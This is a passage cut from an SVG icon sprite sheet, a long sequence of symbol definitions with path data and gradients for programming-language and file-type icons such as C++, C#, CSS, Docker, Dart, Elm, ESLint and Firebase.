font-size="29.001" font-weight="bold" letter-spacing="0" stroke-width=".725" word-spacing="0" style="line-height:1.25"><tspan x="6.653" y="16.426" font-family="'Segoe UI'" font-size="10.634" font-weight="normal">C<tspan font-size="11.844">f</tspan></tspan></text></symbol><symbol viewBox="0 0 24 24" id="conduct" xmlns="http://www.w3.org/2000/svg"><path d="M10 17l-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9m-6-6a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m7 0h-4.18C14.4 1.84 13.3 1 12 1c-1.3 0-2.4.84-2.82 2H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#cddc39"/></symbol><symbol viewBox="0 0 24 24" id="console" xmlns="http://www.w3.org/2000/svg"><path d="M20 19V7H4v12h16m0-16a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h16m-7 14v-2h5v2h-5m-3.42-4L5.57 9H8.4l3.3 3.3c.39.39.39 1.03 0 1.42L8.42 17H5.59z" fill="#ff7043"/></symbol><symbol viewBox="0 0 24 24" id="contributing" xmlns="http://www.w3.org/2000/svg"><path d="M17 9H7V7h10m0 6H7v-2h10m-3 6H7v-2h7M12 3a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m7 0h-4.18C14.4 1.84 13.3 1 12 1c-1.3 0-2.4.84-2.82 2H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="cpp" xmlns="http://www.w3.org/2000/svg"><path d="M10.5 15.97l.41 2.44c-.26.14-.68.27-1.24.39-.57.13-1.24.2-2.01.2-2.21-.04-3.87-.7-4.98-1.96C1.56 15.77 1 14.16 1 12.21c.05-2.31.72-4.08 2-5.32C4.32 5.64 5.96 5 7.94 5c.75 0 1.4.07 1.94.19s.94.25 1.2.4l-.58 2.49-1.06-.34c-.4-.1-.86-.15-1.39-.15-1.16-.01-2.12.36-2.87 1.1-.76.73-1.15 1.85-1.18 3.34 0 1.36.37 2.42 1.08 3.2.71.77 1.71 1.17 2.99 1.18l1.33-.12c.43-.08.79-.19 1.1-.32M11 11h2V9h2v2h2v2h-2v2h-2v-2h-2v-2m7 0h2V9h2v2h2v2h-2v2h-2v-2h-2v-2z" fill="#0277bd"/></symbol><symbol viewBox="0 0 24 24" id="credits" xmlns="http://www.w3.org/2000/svg"><path d="M3 3h18v2H3V3m4 4h10v2H7V7m-4 4h18v2H3v-2m4 4h10v2H7v-2m-4 4h18v2H3v-2z" fill="#9ccc65"/></symbol><symbol viewBox="0 0 200 200" id="crystal" xmlns="http://www.w3.org/2000/svg"><style>.st0{fill:none}</style><path d="M179.363 121.67l-57.623 57.507c-.23.23-.576.346-.806.23l-78.713-21.09c-.346-.115-.577-.345-.577-.576L20.44 79.144c-.115-.345 0-.576.23-.806L78.294 20.83c.23-.23.576-.346.807-.23l78.713 21.09c.345.114.576.345.576.575l21.09 78.597c.23.346.115.577-.115.807zM102.148 59.09l-77.33 20.63c-.115 0-.23.23-.115.345l56.586 56.47c.115.115.346.115.346-.115l20.744-77.215c.115 0-.115-.23-.23-.116z" stroke-width="1.153" fill="#cfd8dc"/></symbol><symbol viewBox="0 0 200 200" id="crystal_light" xmlns="http://www.w3.org/2000/svg"><style>.st0{fill:none}</style><path d="M179.363 121.67l-57.623 57.507c-.23.23-.576.346-.806.23l-78.713-21.09c-.346-.115-.577-.345-.577-.576L20.44 79.144c-.115-.345 0-.576.23-.806L78.294 20.83c.23-.23.576-.346.807-.23l78.713 21.09c.345.114.576.345.576.575l21.09 78.597c.23.346.115.577-.115.807zM102.148 59.09l-77.33 20.63c-.115 0-.23.23-.115.345l56.586 56.47c.115.115.346.115.346-.115l20.744-77.215c.115 0-.115-.23-.23-.116z" fill="#37474f" stroke-width="1.153"/></symbol><symbol viewBox="0 0 24 24" id="csharp" xmlns="http://www.w3.org/2000/svg"><path d="M11.5 15.97l.41 2.44c-.26.14-.68.27-1.24.39-.57.13-1.24.2-2.01.2-2.21-.04-3.87-.7-4.98-1.96C2.56 15.77 2 14.16 2 12.21c.05-2.31.72-4.08 2-5.32C5.32 5.64 6.96 5 8.94 5c.75 0 1.4.07 1.94.19s.94.25 1.2.4l-.58 2.49-1.06-.34c-.4-.1-.86-.15-1.39-.15-1.16-.01-2.12.36-2.87 1.1-.76.73-1.15 1.85-1.18 3.34 0 1.36.37 2.42 1.08 3.2.71.77 1.71 1.17 2.99 1.18l1.33-.12c.43-.08.79-.19 1.1-.32M13.89 19l.61-4H13l.34-2h1.5l.32-2h-1.5L14 9h1.5l.61-4h2l-.61 4h1l.61-4h2l-.61 4H22l-.34 2h-1.5l-.32 2h1.5L21 15h-1.5l-.61 4h-2l.61-4h-1l-.61 4h-2m2.95-6h1l.32-2h-1l-.32 2z" fill="#0277bd"/></symbol><symbol viewBox="0 0 24 24" id="css" xmlns="http://www.w3.org/2000/svg"><path d="M5 3l-.65 3.34h13.59L17.5 8.5H3.92l-.66 3.33h13.59l-.76 3.81-5.48 1.81-4.75-1.81.33-1.64H2.85l-.79 4 7.85 3 9.05-3 1.2-6.03.24-1.21L21.94 3H5z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="css-map" xmlns="http://www.w3.org/2000/svg"><path d="M18 8v2h2v10H10v-2H8v4h14V8h-4z" fill="#42a5f5"/><path d="M4.676 3l-.488 2.51h10.211l-.33 1.623H3.864l-.496 2.502H13.58l-.57 2.863-4.119 1.36-3.569-1.36.248-1.232H3.06l-.593 3.005 5.898 2.254 6.8-2.254.902-4.53.18-.91L17.406 3H4.675z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 33 33" id="cucumber" xmlns="http://www.w3.org/2000/svg"><title>cucumber-mark-transparent-pips</title><g transform="translate(0 -5)" fill="none" fill-rule="evenodd"><path d="M-4-1h40v40H-4z"/><path d="M16.641 7.092c-7.028 0-12.714 5.686-12.714 12.714 0 6.187 4.435 11.327 10.288 12.471v3.64C21.824 34.77 28.561 28.73 29.063 20.8c.303-4.772-2.076-9.644-6.09-12.01a10.575 10.575 0 0 0-1.455-.728l-.243-.097c-.223-.082-.448-.175-.68-.242a12.614 12.614 0 0 0-3.954-.632zm2.62 4.707a1.387 1.387 0 0 0-1.213.485c-.233.31-.379.611-.534.923-.466 1.087-.31 2.251.388 3.105 1.087-.233 2.01-.927 2.475-2.014a2.45 2.45 0 0 0 .243-1.02c.048-.824-.634-1.404-1.359-1.479zm-5.654.073c-.708.068-1.382.63-1.382 1.407 0 .31.087.709.243 1.02.466 1.086 1.46 1.78 2.546 2.013.621-.854.782-2.018.316-3.105-.155-.311-.3-.617-.534-.85a1.364 1.364 0 0 0-1.188-.485zm-3.809 3.735c-1.224.063-1.77 1.602-.752 2.402.31.233.612.403.922.559 1.087.466 2.344.306 3.275-.316-.233-1.009-1.023-1.936-2.11-2.402-.388-.155-.703-.243-1.092-.243-.087-.009-.161-.004-.243 0zm11.961 4.708a3.551 3.551 0 0 0-2.013.582c.233 1.01 1.023 1.936 2.11 2.401.389.156.705.244 1.093.244 1.397.077 2.08-1.65.994-2.427-.31-.233-.611-.379-.922-.534a3.354 3.354 0 0 0-1.262-.266zm-10.603.072a3.376 3.376 0 0 0-1.261.267c-.389.155-.69.325-.923.558-1.009.854-.33 2.48 1.068 2.402.388 0 .782-.087 1.092-.243 1.087-.465 1.859-1.392 2.014-2.401a3.474 3.474 0 0 0-1.99-.582zm3.931 2.378c-1.087.233-2.009.927-2.475 2.014-.155.31-.243.684-.243.995-.077 1.32 1.724 2.028 2.5 1.02.233-.312.378-.613.534-.923.466-1.01.306-2.174-.316-3.106zm2.887.073c-.621.854-.781 2.019-.315 3.106.155.31.3.615.534.848.854.932 2.65.243 2.572-.921 0-.31-.088-.71-.243-1.02-.466-1.087-1.46-1.78-2.547-2.013z" fill="#4caf50" stroke-width=".776"/></g></symbol><symbol id="cuda" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"><style>.bust0{fill:#76b900}</style><title>NVIDIA-Logo</title><path id="buEye_Mark" class="bust0" d="M76.362 75.199V64.116c1.095-.068 2.19-.137 3.284-.137 30.377-.958 50.286 26.135 50.286 26.135s-21.483 29.83-44.539 29.83c-3.079 0-6.089-.48-8.962-1.438v-33.66c11.836 1.436 14.23 6.636 21.277 18.471l15.804-13.273s-11.562-15.12-30.992-15.12c-2.053-.068-4.105.069-6.158.274m0-36.67v16.556l3.284-.205c42.213-1.437 69.784 34.618 69.784 34.618s-31.608 38.45-64.516 38.45c-2.873 0-5.678-.274-8.483-.753v10.262c2.326.274 4.72.48 7.046.48 30.65 0 52.817-15.668 74.3-34.14 3.558 2.874 18.13 9.784 21.14 12.794-20.388 17.104-67.937 30.856-94.893 30.856-2.6 0-5.062-.137-7.525-.41v14.436h116.44V38.532zm0 79.977v8.757C48.038 122.2 40.17 92.712 40.17 92.712s13.615-15.05 36.192-17.514v9.579h-.068c-11.836-1.437-21.14 9.646-21.14 9.646s5.268 18.678 21.209 24.082M26.077 91.481S42.839 66.714 76.43 64.115v-9.03C39.213 58.094 7.057 89.565 7.057 89.565s18.199 52.68 69.305 57.47v-9.579c-37.492-4.652-50.286-45.975-50.286-45.975z" fill="#8bc34a" stroke-width=".684"/></symbol><symbol viewBox="0 0 24 24" id="dart" xmlns="http://www.w3.org/2000/svg"><title>Dart</title><path d="M12.486 1.385a.978.978 0 0 0-.682.281l-.01.007-6.387 3.692 6.371 6.372v.004l7.659 7.659 1.46-2.63-5.265-12.64-2.456-2.457a.972.972 0 0 0-.69-.288z" fill="#00ca94"/><path d="M5.422 5.35L1.73 11.733l-.007.01a.967.967 0 0 0 .006 1.371l3.059 3.061 11.963 4.706 2.704-1.502-.073-.073-.018.002-7.5-7.512h-.01L5.423 5.35z" fill="#1565c0"/><path d="M5.405 5.353l6.518 6.525h.01l7.502 7.51 2.855-.544.005-8.449-3.016-2.955c-.66-.647-1.675-1.064-2.695-1.202l.002-.032-11.181-.853z" fill="#1565c0"/><path d="M5.414 5.361l6.521 6.522v.009l7.506 7.506-.546 2.855h-8.448l-2.954-3.017c-.647-.66-1.064-1.676-1.2-2.696l-.033.003L5.414 5.36z" fill="#00ee94"/></symbol><symbol viewBox="0 0 24 24" id="database" xmlns="http://www.w3.org/2000/svg"><path d="M12 3C7.58 3 4 4.79 4 7s3.58 4 8 4 8-1.79 8-4-3.58-4-8-4M4 9v3c0 2.21 3.58 4 8 4s8-1.79 8-4V9c0 2.21-3.58 4-8 4s-8-1.79-8-4m0 5v3c0 2.21 3.58 4 8 4s8-1.79 8-4v-3c0 2.21-3.58 4-8 4s-8-1.79-8-4z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="diff" xmlns="http://www.w3.org/2000/svg"><path d="M3 1c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h2v-2H3V3h11v2h2V3c0-1.11-.89-2-2-2H3m6 6c-1.11 0-2 .89-2 2v2h2V9h2V7H9m4 0v2h1v1h2V7h-3m5 0v2h2v11H9v-2H7v2c0 1.11.89 2 2 2h11c1.11 0 2-.89 2-2V9c0-1.11-.89-2-2-2h-2m-4 5v2h-2v2h2c1.11 0 2-.89 2-2v-2h-2m-7 1v3h3v-2H9v-1H7z" fill="#42a5f5"/></symbol><symbol id="docker" viewBox="0 0 41 34.5" xmlns="http://www.w3.org/2000/svg"><style id="bystyle2">.byst0{fill:#fff}.byst1{clip-path:url(#bySVGID_4_)}</style><g id="byg34" transform="translate(.292 1.9)" fill="#0087c9"><g id="byg32"><g id="byg30"><g id="byg28"><g id="byg26"><g id="byg9"><path id="bySVGID_1_" class="byst0" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2c1.2 0 2.1.9 2.1 2s-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></g></g></g></g></g></g></symbol><symbol viewBox="0 0 24 24" id="document" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H6v2h9m3-4v-2H6v2h12z" fill="#42a5f5"/></symbol><symbol preserveAspectRatio="xMidYMid" viewBox="0 0 200 200" id="drone" xmlns="http://www.w3.org/2000/svg"><g fill="#e0e0e0" transform="translate(9.063 22.346) scale(.71044)"><path d="M128.22.723C32.095.723.39 84.566.39 115.222h77.928S89.36 75.275 128.22 75.275s49.906 39.947 49.906 39.947h77.476c0-30.66-31.257-114.5-127.38-114.5m98.82 134.45h-48.914s-8.55 39.946-49.906 39.946c-41.355 0-49.902-39.948-49.902-39.948H30.255c0 10.25 37.727 82.708 98.443 82.708 60.714 0 98.344-59.604 98.344-82.708"/><circle cx="128" cy="126.08" r="32.768"/></g></symbol><symbol preserveAspectRatio="xMidYMid" viewBox="0 0 200 200" id="drone_light" xmlns="http://www.w3.org/2000/svg"><g fill="#424242" transform="translate(9.063 22.346) scale(.71044)"><path d="M128.22.723C32.095.723.39 84.566.39 115.222h77.928S89.36 75.275 128.22 75.275s49.906 39.947 49.906 39.947h77.476c0-30.66-31.257-114.5-127.38-114.5m98.82 134.45h-48.914s-8.55 39.946-49.906 39.946c-41.355 0-49.902-39.948-49.902-39.948H30.255c0 10.25 37.727 82.708 98.443 82.708 60.714 0 98.344-59.604 98.344-82.708"/><circle cx="128" cy="126.08" r="32.768"/></g></symbol><symbol viewBox="0 0 3473 3473" id="editorconfig" shape-rendering="geometricPrecision" text-rendering="geometricPrecision" image-rendering="optimizeQuality" fill-rule="evenodd" clip-rule="evenodd" xmlns="http://www.w3.org/2000/svg"><defs id="ccdefs4"><style id="ccstyle2">.ccfil2{fill:#020202}.ccfil0{fill:#e3e3f8}.ccfil5{fill:#efefef}.ccfil6{fill:#faf1f1}.ccfil3{fill:#fdf2f2}.ccfil1{fill:#fdfdfd}.ccfil4{fill:#fef3f3}</style></defs><g id="ccLayer_x0020_1" transform="matrix(.8945 0 0 .8945 138.649 275.985)"><g id="cc_631799120"><g id="ccg11"><path class="ccfil0" d="M967 1895c46-30 84-105 61-158-63 27-60 89-61 158z" id="ccpath7" fill="#e3e3f8"/><path class="ccfil0" d="M1679 2067c50-16 98-72 71-130-39 27-64 64-71 130z" id="ccpath9" fill="#e3e3f8"/></g><g id="ccg21"><path class="ccfil1" d="M280 2895c0 63 16 131 60 155 162 91 730 20 923-23 101-23 183-98 278-139 214-93 369-168 540-293 124-91 321-347 342-500l-169-38c-4 172-43 211-196 251-103 28-304 34-409 16-139-23-202-96-265-179-122-162 27-275-166-286-203 249-561 70-718 45-67 97-224 727-222 871 97-33 158 3 245 37 308 119 39 224-84 193-84-20-110-75-159-110z" id="ccpath13" fill="#fdfdfd"/><path class="ccfil1" d="M683 1458c125 24 236 76 342 129 173 86 204 74 220 194 2 22-2 34 61 54 106 33-61-26 223-25 169 1 556 69 681 148 52 33 42 75 218 70-2-207-57-516-138-706-99-230-230-265-497-351-156-50-614-105-756-17-133 83-158 182-282 356-36 51-49 90-72 148z" id="ccpath15" fill="#fdfdfd"/><path class="ccfil1" d="M1784 1883c100 41-5 306-144 242-45-127 62-199 91-256-60-9-231-36-282-17-66 25-81 166-47 232 160 314 867 247 792 3-30-99-58-115-159-149-81-27-162-55-251-55z" id="ccpath17" fill="#fdfdfd"/><path class="ccfil1" d="M527 1848c80 77 261 89 378 95 15-155 28-271 152-262 61 83 29 181-35 244 109-1 172-83 156-202-92-66-371-198-511-217-39 42-135 272-140 342z" id="ccpath19" fill="#fdfdfd"/></g><path class="ccfil2" d="M339 2838c66-6 238 44 252 100-107 13-243 3-252-100zm-59 57c49 35 75 90 159 110 123 31 392-74 84-193-87-34-148-70-245-37-2-144 155-774 222-871 157 25 515 204 718-45 193 11 44 124 166 286 63 83 126 156 265 179 105 18 306 12 409-16 153-40 192-79 196-251l169 38c-21 153-218 409-342 500-171 125-326 200-540 293-95 41-177 116-278 139-193 43-761 114-923 23-44-24-60-92-60-155zm1399-828c7-66 32-103 71-130 27 58-21 114-71 130zm105-184c89 0 170 28 251 55 101 34 129 50 159 149 75 244-632 311-792-3-34-66-19-207 47-232 51-19 222 8 282 17-29 57-136 129-91 256 139 64 244-201 144-242zm-817 12c1-69-2-131 61-158 23 53-15 128-61 158zm-440-47c5-70 101-300 140-342 140 19 419 151 511 217 16 119-47 201-156 202 64-63 96-161 35-244-124-9-137 107-152 262-117-6-298-18-378-95zm-100-80c-37-102-37-261 120-274l-80 223c-21 48-21 37-40 51zm256-310c23-58 36-97 72-148 124-174 149-273 282-356 142-88 600-33 756 17 267 86 398 121 497 351 81 190 136 499 138 706-176 5-166-37-218-70-125-79-512-147-681-148-284-1-117 58-223 25-63-20-59-32-61-54-16-120-47-108-220-194-106-53-217-105-342-129zm1770-49c-19-63 16-59 77-102 35-25 63-51 106-75 161-90 461-105 589 2 52 43 137 127 124 237-27 219-177 339-300 439-125 102-333 207-548 137-18-44-4-323-25-426-19-92-9-102 44-157 156-162 494-280 686-141 81 60 58 83 100 129 52-56-45-244-403-232-243 8-348 198-450 189zM997 840c5-139 133-427 261-527 155-120 317-233 555-98 59 33 56 50 62 132 5 79-2 108-22 172-158 510-290 217-796 338 19-166 163-314 243-391 137-133 236-219 442-191 57 95 63 155-6 266-92 148-115 139-101 240 72-18 94-88 127-158 201-420-91-471-270-394-120 51-334 287-404 429-14 28-29 64-42 95zm792 21c21-125 145-156 145-541 0-166-204-315-471-204-229 94-264 166-386 350-115 174-111 365-210 526-29 46-55 62-87 108-23 34-40 77-63 117-47 77-95 133-133 225-120 3-221 5-233 129-16 170 64 212 64 276-1 69-281 765-203 1180 22 114 97 115 217 129 289 35 664 23 923-81l470-225c119-67 319-194 408-287 63-65 96-120 150-197 74-108 76-106 92-253 98 18 281 61 342 114-7 69-41 36-41 98 39 1 104-48 120-102-41-60-84-50-143-98 47-37 132-54 197-81 140-58 379-234 438-394 47-129 12-344-64-428-80-88-266-133-418-133-181 0-368 130-514 186-56-49-60-105-101-159-47-64-353-224-499-255z" id="ccpath23" fill="#020202"/><path class="ccfil3" d="M2453 1409c102 9 207-181 450-189 358-12 455 176 403 232-42-46-19-69-100-129-192-139-530-21-686 141-53 55-63 65-44 157 21 103 7 382 25 426 215 70 423-35 548-137 123-100 273-220 300-439 13-110-72-194-124-237-128-107-428-92-589-2-43 24-71 50-106 75-61 43-96 39-77 102z" id="ccpath25" fill="#fdf2f2"/><path class="ccfil4" d="M997 840l49-87c13-31 28-67 42-95 70-142 284-378 404-429 179-77 471-26 270 394-33 70-55 140-127 158-14-101 9-92 101-240 69-111 63-171 6-266-206-28-305 58-442 191-80 77-224 225-243 391 506-121 638 172 796-338 20-64 27-93 22-172-6-82-3-99-62-132-238-135-400-22-555 98-128 100-256 388-261 527z" id="ccpath27" fill="#fef3f3"/><path class="ccfil5" d="M427 1768c19-14 19-3 40-51l80-223c-157 13-157 172-120 274z" id="ccpath29" fill="#efefef"/><path class="ccfil6" d="M591 2938c-14-56-186-106-252-100 9 103 145 113 252 100z" id="ccpath31" fill="#faf1f1"/></g></g></symbol><symbol viewBox="0 0 24 24" id="elixir" xmlns="http://www.w3.org/2000/svg"><path d="M12.431 22.383c-3.86 0-6.99-3.64-6.99-8.13 0-3.678 2.774-8.172 4.916-10.91 1.014-1.295 2.931-2.321 2.931-2.321s-.982 5.238 1.683 7.318c2.365 1.847 4.105 4.25 4.105 6.363 0 4.232-2.784 7.68-6.645 7.68z" fill="#9575cd" stroke-width="1.256"/></symbol><symbol viewBox="0 0 323.00001 322.99999" id="elm" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(.8053 0 0 .8053 30.106 31.524)"><path fill="#f0ad00" d="M160.8 153.865l68.028-68.03H92.77z"/><path fill="#7fd13b" d="M160.983 5.098H12.033l68.524 68.525H229.51z"/><path fill="#7fd13b" stroke-width=".974" d="M243.906 88.021l74.136 74.137-74.474 74.475-74.137-74.137z"/><path fill="#60b5cc" d="M318.2 145.045V5.098H178.252z"/><path fill="#5a6378" d="M152.164 162.499L3.4 13.733v297.533z"/><path fill="#f0ad00" d="M252.205 245.27l65.995 65.996v-131.99z"/><path fill="#60b5cc" d="M160.8 171.134L12.034 319.899h297.53z"/></g></symbol><symbol viewBox="0 0 24 24" id="email" xmlns="http://www.w3.org/2000/svg"><path d="M20 8l-8 5-8-5V6l8 5 8-5m0-2H4c-1.11 0-2 .89-2 2v12a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 30 30" id="erlang" xmlns="http://www.w3.org/2000/svg"><path style="line-height:1.25;-inkscape-font-specification:'Wide Latin'" d="M5.217 4.367c-.048.052-.097.1-.144.153C2.697 7.182 1.51 10.798 1.51 15.366c0 4.418 1.156 7.862 3.46 10.34h19.414c2.553-1.152 4.127-3.43 4.127-3.43l-3.147-2.52-1.454 1.381c-.866.773-.845.931-2.314 1.78-1.496.674-3.04.966-4.634.966-2.516 0-4.423-.909-5.723-2.059-1.286-1.15-1.985-4.511-2.097-6.68l17.458.067-.182-1.472s-.847-7.129-2.542-9.372zm8.76.846c1.565 0 3.22.535 3.96 1.471.742.937.932 1.667.974 3.524H9.12c.111-1.955.436-2.81 1.372-3.697.937-.888 2.03-1.298 3.484-1.298z" font-weight="400" font-size="48" font-family="Wide Latin" letter-spacing="0" word-spacing="0" fill="#f44336" stroke-width=".97"/></symbol><symbol viewBox="0 0 299.99999 300.00001" id="eslint" xmlns="http://www.w3.org/2000/svg"><g transform="translate(-2.88 18.438) scale(1.0344)"><path d="M97.021 99.016l48.432-27.962c1.212-.7 2.706-.7 3.918 0l48.433 27.962a3.92 3.92 0 0 1 1.959 3.393v55.924a3.924 3.924 0 0 1-1.959 3.394l-48.433 27.962c-1.212.7-2.706.7-3.918 0l-48.432-27.962a3.92 3.92 0 0 1-1.959-3.394v-55.924a3.922 3.922 0 0 1 1.959-3.393" fill="#7986cb"/><path d="M273.34 124.49L215.473 23.82c-2.102-3.64-5.985-6.325-10.188-6.325H89.545c-4.204 0-8.088 2.685-10.19 6.325L21.488 124.27c-2.102 3.641-2.102 8.236 0 11.877l57.867 99.847c2.102 3.64 5.986 5.501 10.19 5.501h115.74c4.203 0 8.087-1.805 10.188-5.446l57.867-100.01c2.104-3.639 2.104-7.907.001-11.547m-47.917 48.41c0 1.48-.891 2.849-2.174 3.59l-73.71 42.527a4.194 4.194 0 0 1-4.17 0l-73.767-42.527c-1.282-.741-2.179-2.109-2.179-3.59V87.847c0-1.481.884-2.849 2.167-3.59l73.707-42.527a4.185 4.185 0 0 1 4.168 0l73.772 42.527c1.283.741 2.186 2.109 2.186 3.59z" fill="#3f51b5"/></g></symbol><symbol viewBox="0 0 24 24" id="exe" xmlns="http://www.w3.org/2000/svg"><path d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h14m0 14V8H5v10h14z" fill="#e64a19"/></symbol><symbol viewBox="0 0 24 24" id="favicon" xmlns="http://www.w3.org/2000/svg"><path d="M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.45 4.73L5.82 21 12 17.27z" fill="#ffd54f"/></symbol><symbol viewBox="0 0 24 24" id="file" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m5 2H6v16h12v-9h-7V4z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 400 400" id="firebase" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 103)"><path d="M72.55 208.77l44.456-292.29 56.209 90.445L195.49-37.57 330.6 209.28z" fill="#ffa712"/><path d="M195.7 276.73l134.9-67.45-46.5-224.83L72.55 208.77z" fill="#fcca3f"/><path d="M173.22 6.932L72.56 208.772l136.35-144.58z" fill="#f6820c"/></g></symbol><symbol viewBox="0 0 24 24" id="flash" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="cma"><stop offset="0" stop-color="#d92f3c"/><stop offset="1" stop-color="#791223"/></linearGradient><linearGradient xlink:href="#cma" id="cmb" x1="2.373" y1="12.027" x2="21.86" y2="12.027" gradientUnits="userSpaceOnUse" gradientTransform="translate(-.09 -24.144)"/></defs><rect width="19.487" height="19.487" x="2.283" y="-21.86" transform="rotate(90)" ry="0" fill="url(#cmb)"/><path style="line-height:125%" d="M16.802 5.768l-.013.002a6.43 6.43 0 0 0-1.182.192 5.062 5.062 0 0 0-1.494.718c-.428.323-.817.72-1.17 1.191-.34.48-.682 1.032-1.022 1.66-.12.228-.233.424-.35.636v.002h-.004l-1.34 2.394-.005-.002c-.238.443-.461.847-.665 1.198a4.358 4.358 0 0 1-.716.94 2.79 2.79 0 0 1-.907.594c-.072.027-.161.042-.242.063h-.989v2.414h.989v-.002a6.427 6.427 0 0 0 1.185-.192 5.062 5.062 0 0 0 1.494-.718 5.94 5.94 0 0 0 1.171-1.191c.34-.48.681-1.033 1.021-1.66.12-.228.235-.425.353-.637l.006.002.003-.005.037-.066h2.53v.002h1.124v-2.408h-.33v-.001h-1.98c.22-.407.432-.789.621-1.115.214-.37.452-.682.717-.94a2.79 2.79 0 0 1 .906-.594c.07-.027.16-.041.239-.061h.992V8.18h-.002V5.77h-.977v-.002z" font-weight="400" font-size="40" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#fff"/></symbol><symbol class="cnflow-logo" viewBox="0 0 299.99999 300" id="flow" xmlns="http://www.w3.org/2000/svg"><title>Flow logo</title><path d="M38.75 33.427l77.461 77.47H54.436l61.145 61.16H38.437l93.462 93.478v-77.158l.01-.01v-77.47h-.01V66.982h46.691l20.394 20.393H153.57v76.531h22.05l24.474 24.473h-15.806l-.01-.01v.01h-31.665l-.01-.01v.01h-.313l.313.313v77.148h109.149l-39.2-39.2v-15.806l8.465 8.466v-77.37h-15.682l.017-38.191 30.09 30.086V56.362h-64.874l-22.94-22.934H113.71z" fill="#fbc02d" fill-opacity=".976" stroke-width=".955" class="cnflow-logo-mark"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-aurelia" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="coa" x1="-388.15%" x2="237.68%" y1="-144.18%" y2="430.41%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cob" x1="72.945%" x2="-97.052%" y1="84.424%" y2="-147.7%"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="coc" x1="-283.88%" x2="287.54%" y1="-693.6%" y2="101.71%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cod" x1="-821.19%" x2="101.99%" y1="-469.05%" y2="288.24%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="coe" x1="-140.36%" x2="419.01%" y1="-230.93%" y2="261.98%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cof" x1="191.08%" x2="20.358%" y1="253.95%" y2="20.403%"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="cog" x1="-388.09%" x2="237.67%" y1="-173.85%" y2="518.99%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="coi" x1="-31.824" x2="19.682" y1="-11.741" y2="35.548" gradientTransform="scale(.95818 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#coa"/><linearGradient id="coj" x1="12.022" x2="-15.716" y1="13.922" y2="-23.952" gradientTransform="scale(.96226 1.0392)" gradientUnits="userSpaceOnUse" xlink:href="#cob"/><linearGradient id="cok" x1="-23.39" x2="23.931" y1="-57.289" y2="8.573" gradientTransform="scale(1.0429 .95884)" gradientUnits="userSpaceOnUse" xlink:href="#coc"/><linearGradient id="col" x1="-53.331" x2="6.771" y1="-30.517" y2="18.785" gradientTransform="scale(.99898 1.001)" gradientUnits="userSpaceOnUse" 